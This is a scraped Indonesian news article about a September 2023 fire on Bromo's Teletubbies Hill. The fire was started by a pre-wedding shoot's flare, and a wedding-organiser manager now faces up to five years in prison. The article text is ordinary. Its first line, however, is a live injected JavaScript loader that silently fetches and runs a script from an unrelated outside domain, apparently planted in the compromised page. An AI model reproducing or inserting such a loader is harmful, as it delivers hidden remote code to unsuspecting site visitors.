(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Buntut Flare Picu Kawasan Bromo Terbakar, Manajer WO Terancam 5 Tahun Penjara


KANALKALIMANTAN.COM, PROBOLINGGO – Manajer wedding organizer (WO) asal Surabaya, Andrie Wibowo Eka Wardhana (41), warga Kabupaten Lumajang sudah ditetapkan sebagai tersangka dalam kebakaran di Bukit Teletubbies Bromo.

Sementara itu, 5 lainnya dikenakan wajib lapor, termasuk pasangan pengantin.

Manajer WO diancam pasal kehutanan dengan ancaman penjara paling lama 5 tahun dan denda paling banyak Rp 1,5 miliar.

Polisi mengungkap rombongan pengantin prewedding yang menyebabkan padang Savana Gunung Bromo terbakar. Mereka tidak mengantongi surat izin masuk kawasan konservasi (simaksi) kawasan Bukit Teletubbies Bromo. Mereka mengaku datang untuk sekadar berwisata.

Baca juga: Besok, Sidang Tuntutan Dua Terdakwa Korupsi Pengadaan Lahan Objek Wisata Tanuhi

Simaksi tersebut penting diurus agar petugas bisa mengawasi kegiatan pengunjung agar tidak sampai menimbulkan risiko, seperti yang terjadi di Bukit Teletubbies Bromo. Mengurus simaksi perlu dilakukan jika pengunjung melakukan aktivitas lain di luar berwisata, apalagi untuk tujuan komersil seperti pemotretan.

“Mereka masuk sebagai pengunjung biasa dengan membeli tiket online. Mereka tidak menyampaikan kepada petugas kami kalau mau prewedding,” ungkap Kabag Tata Usaha BB TNBTS Septi Eka Wardhani dikutip dari Beritasatu.com –mitra jaringan Kanalkalimantan.com, Sabtu (9/9/2023).

Modus seperti yang dilakukan WO asal Surabaya itu memang kerap dilakukan karena dapat menghemat biaya. Biaya mengurus simaksi dibanderol Rp 250.000. Tentunya, semua risiko akan ditanggung TNBTS.

Baca juga: Kekeringan Melanda Desa Batu Tanam, Air Bersih Kini Jadi Sangat Berharga

“Untuk mengurusnya (simaksi) mudah saja. Bisa langsung datang ke kantor kami di Malang. Jadi memang dibutuhkan kejujuran pengunjung agar risiko seperti itu bisa diminimalisasi,” katanya.

Diketahui, percikan api cerawat yang dipakai rombongan pengantin prewedding tersebut membakar vegetasi padang savana yang dalam kondisi kering. Angin kencang membuat api meluas hingga sekitar 50 hektare.

Informasi didapat, hingga Sabtu ini, petugas masih berjibaku di lapangan untuk memadamkan dan mencegah api meluas. Akibat kejadian ini, TNBTS kembali ditutup sejak Rabu (6/9/2023) hingga waktu yang belum ditentukan.

Baca juga: Luasan Terbakar di Kawasan Wisata Tahura Sultan Adam Belum Diketahui

Pihaknya mengimbau pengunjung, dan pelaku jasa wisata menjaga kawasan TNBTS tidak menyalakan api dan sejenisnya seperti petasan kembang api atau flare demi keselamatan bersama. (Kanalkalimantan/Beritasatu.com/kk)

Editor : kk


Risa

Recent Posts

Ini Penyebab Utama Crossing Drainase di Karang Anyar 1 Sering Berlubang

KANALKALIMANTAN.COM, BANJARBARU - Penyebab jalan berlubang yang kerap muncul di Jalan Karang Anyar 1 Kelurahan… Read More

2 jam ago

Kicau Mania Ramaikan Kapolresta Banjarmasin Cup 2024

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Resor (Polres) Kota Banjarmasin menggelar lomba Burung Berkicau, Minggu (19/5/2024) siang,… Read More

15 jam ago

Pastikan Listrik Tanpa Kedip KTT WWF 2024 Bali

KANALKALIMANTAN.COM, DENPASAR - PT PLN (Persero) siap menghadirkan listrik yang andal untuk mendukung penyelenggaraan Konferensi… Read More

16 jam ago

Santri TK Al Quran di Kabupaten Banjar Ikuti Munaqasah

KANALKALIMANTAN.COM, MARTAPURA -  Santri TK Al Quran se-Kabupaten Banjar mengikuti Munaqasah yang digelar Badan Komunikasi… Read More

16 jam ago

Jelang Pilwali Banjarbaru, Nurkhalis: Masih Lihat Peta Peluang Koalisi

KANALKALIMANTAN.COM, BANJARBARU - Peta koalisi partai politik jelang Pilkada 2024 di Kota Banjarbaru Kalimantan Selatan… Read More

18 jam ago

Daftar Bareng Aditya-Yuti, Koalisi “AYUHA” PPP-Gerindra di Pilwali Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Teka-teki maju atau tidaknya Aditya Mufti Ariffin mulai terjawab, bahkan siapa calon… Read More

20 jam ago

This website uses cookies.